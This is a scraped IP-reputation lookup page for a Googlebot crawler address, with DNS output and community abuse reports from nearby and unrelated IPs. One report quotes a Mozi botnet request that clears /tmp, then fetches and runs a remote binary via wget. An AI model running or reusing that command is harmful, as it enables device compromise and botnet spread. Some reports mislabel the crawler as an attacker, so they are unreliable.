66.249.73.242 - IPInfo

Basic Info

City: unknown

Region: unknown

Country: United States

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
66.249.73.156	attack	Automatic report - Banned IP Access	2020-09-14 22:41:39
66.249.73.156	attackspambots	Automatic report - Banned IP Access	2020-09-14 14:33:36
66.249.73.156	attack	Automatic report - Banned IP Access	2020-09-14 06:30:36
66.249.73.150	attackspam	Automatic report - Banned IP Access	2020-08-05 19:08:52
66.249.73.152	attackbotsspam	Automatic report - Banned IP Access	2020-08-05 19:08:20
66.249.73.141	attack	Automatic report - Banned IP Access	2020-07-29 20:43:41
66.249.73.173	attack	Malicious brute force vulnerability hacking attacks	2020-07-22 12:37:24
66.249.73.175	attackbotsspam	Malicious brute force vulnerability hacking attacks	2020-07-22 12:36:06
66.249.73.133	attack	Automatic report - Banned IP Access	2020-07-17 13:11:26
66.249.73.79	attackspam	port scan and connect, tcp 443 (https)	2020-06-16 13:28:53
66.249.73.134	attackspam	Automatic report - Banned IP Access	2020-06-15 06:42:07
66.249.73.166	attackspam	[Thu Jun 11 10:53:54.610222 2020] [:error] [pid 1504:tid 140208259458816] [client 66.249.73.166:57222] [client 66.249.73.166] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/owasp-modsecurity-crs-3.2.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "696"] [id "920350"] [msg "Host header is a numeric IP address"] [data "103.27.207.197"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "karangploso.jatim.bmkg.go.id"] [uri "/index.php/prakiraan-iklim/agroklimatologi/kalender-tanam/3766-kalender-tanam-katam-terpadu-pulau-sulawesi/kalender-tanam-katam-terpadu-provinsi-sulawesi-selatan/kalender-tanam-katam-terpadu-kabupaten-bone-provinsi-sulawesi-selatan/kalender-tanam-katam-terp ...	2020-06-11 16:06:28
66.249.73.134	attackspam	Automatic report - Banned IP Access	2020-06-09 00:55:51
66.249.73.228	attackbotsspam	Forbidden directory scan :: 2020/06/04 03:47:03 [error] 1030#1030: *1032915 access forbidden by rule, client: 66.249.73.228, server: [censored_1], request: "GET /knowledge-base/website-tips/auto... HTTP/1.1", host: "www.[censored_1]"	2020-06-04 19:25:02
66.249.73.70	attack	[Sat May 09 05:03:12.066788 2020] [:error] [pid 17928:tid 140037002565376] [client 66.249.73.70:43923] [client 66.249.73.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/owasp-modsecurity-crs-3.2.0/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "696"] [id "920350"] [msg "Host header is a numeric IP address"] [data "103.27.207.197"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "karangploso.jatim.bmkg.go.id"] [uri "/index.php/prakiraan-iklim/agroklimatologi/kalender-tanam/1194-kalender-tanam-katam-terpadu-pulau-jawa/kalender-tanam-katam-terpadu-provinsi-jawa-timur/kalender-tanam-katam-terpadu-kota-malang/kalender-tanam-katam-terpadu-kecamatan-kedungkandang-kota-malang" ...	2020-05-09 07:41:50

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 66.249.73.242
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47540
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;66.249.73.242.			IN	A

;; AUTHORITY SECTION:
.			600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022020702 1800 900 604800 86400

;; Query time: 100 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 08 06:49:21 CST 2022
;; MSG SIZE  rcvd: 106

Host info

242.73.249.66.in-addr.arpa domain name pointer crawl-66-249-73-242.googlebot.com.

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

Non-authoritative answer:
242.73.249.66.in-addr.arpa	name = crawl-66-249-73-242.googlebot.com.

Authoritative answers can be found from:

Related IP info:

Related comments:

IP	Type	Details	Datetime
106.52.12.21	attackbotsspam	SSH brute force	2020-09-12 13:26:51
94.102.54.199	attackspambots	Sep 12 06:14:35 pop3-login: Info: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=94.102.54.199, lip=192.168.100.101, session=\<2jDmCRavigBeZjbH\>\ Sep 12 06:17:10 pop3-login: Info: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=94.102.54.199, lip=192.168.100.101, session=\\ Sep 12 06:21:25 pop3-login: Info: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=94.102.54.199, lip=192.168.100.101, session=\\ Sep 12 06:25:24 pop3-login: Info: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=94.102.54.199, lip=192.168.100.101, session=\\ Sep 12 06:45:22 pop3-login: Info: Aborted login $auth failed, 1 attempts in 2 secs$: user=\, method=PLAIN, rip=94.102.54.199, lip=192.168.100.101, session=\\ Sep	2020-09-12 13:29:11
35.222.207.7	attack	Sep 11 22:06:13 pixelmemory sshd[1752005]: Failed password for invalid user sinusbot from 35.222.207.7 port 50564 ssh2 Sep 11 22:10:56 pixelmemory sshd[1755607]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.222.207.7 user=root Sep 11 22:10:58 pixelmemory sshd[1755607]: Failed password for root from 35.222.207.7 port 57576 ssh2 Sep 11 22:15:04 pixelmemory sshd[1756822]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=35.222.207.7 user=root Sep 11 22:15:06 pixelmemory sshd[1756822]: Failed password for root from 35.222.207.7 port 36104 ssh2 ...	2020-09-12 13:44:18
45.119.83.68	attack	$f2bV_matches	2020-09-12 13:23:07
201.222.57.21	attackbotsspam	$f2bV_matches	2020-09-12 13:55:09
106.54.253.41	attackbots	Sep 11 23:19:51 ws24vmsma01 sshd[22298]: Failed password for root from 106.54.253.41 port 44564 ssh2 ...	2020-09-12 13:19:45
27.219.67.178	attackspambots	/shell%3Fcd+/tmp;rm+-rf+*;wget+http://27.219.67.178:54145/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws	2020-09-12 13:36:43
200.236.123.138	attack	Automatic report - Port Scan Attack	2020-09-12 13:50:29
45.129.33.12	attackbots	TCP (SYN) 45.129.33.12:55897 -> port 62606, len 44	2020-09-12 13:56:13
46.101.43.224	attackbots	Sep 12 00:56:07 icinga sshd[51141]: Failed password for root from 46.101.43.224 port 34198 ssh2 Sep 12 01:05:09 icinga sshd[309]: Failed password for root from 46.101.43.224 port 48137 ssh2 ...	2020-09-12 13:45:33
139.199.168.18	attackbots	Sep 12 04:57:55 roki-contabo sshd\[28745\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.199.168.18 user=root Sep 12 04:57:57 roki-contabo sshd\[28745\]: Failed password for root from 139.199.168.18 port 46434 ssh2 Sep 12 05:13:28 roki-contabo sshd\[28833\]: pam_unix$sshd:auth$: authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=139.199.168.18 user=root Sep 12 05:13:29 roki-contabo sshd\[28833\]: Failed password for root from 139.199.168.18 port 57542 ssh2 Sep 12 05:17:33 roki-contabo sshd\[28854\]: Invalid user admin from 139.199.168.18 ...	2020-09-12 13:43:41
91.236.172.87	attack	Autoban 91.236.172.87 AUTH/CONNECT	2020-09-12 13:30:12
191.217.170.33	attackbots	Sep 12 06:32:10 markkoudstaal sshd[17126]: Failed password for root from 191.217.170.33 port 55045 ssh2 Sep 12 06:43:24 markkoudstaal sshd[20689]: Failed password for root from 191.217.170.33 port 60348 ssh2 ...	2020-09-12 13:36:14
222.186.30.218	attackspam	TCP (SYN) 222.186.30.218:9090 -> port 22, len 44	2020-09-12 13:48:24
202.155.206.50	attack	Brute-Force reported by Fail2Ban	2020-09-12 13:57:38

Recently Reported IPs

216.181.210.155	177.249.171.189	1.160.206.150	81.137.236.159
182.47.7.88	156.221.173.61	91.163.60.128	14.102.46.73
79.171.179.194	175.107.11.133	111.58.47.241	145.255.177.98
54.226.32.27	37.72.251.93	36.133.149.77	188.187.125.110
47.254.120.58	125.227.209.183	38.7.83.59	24.231.88.3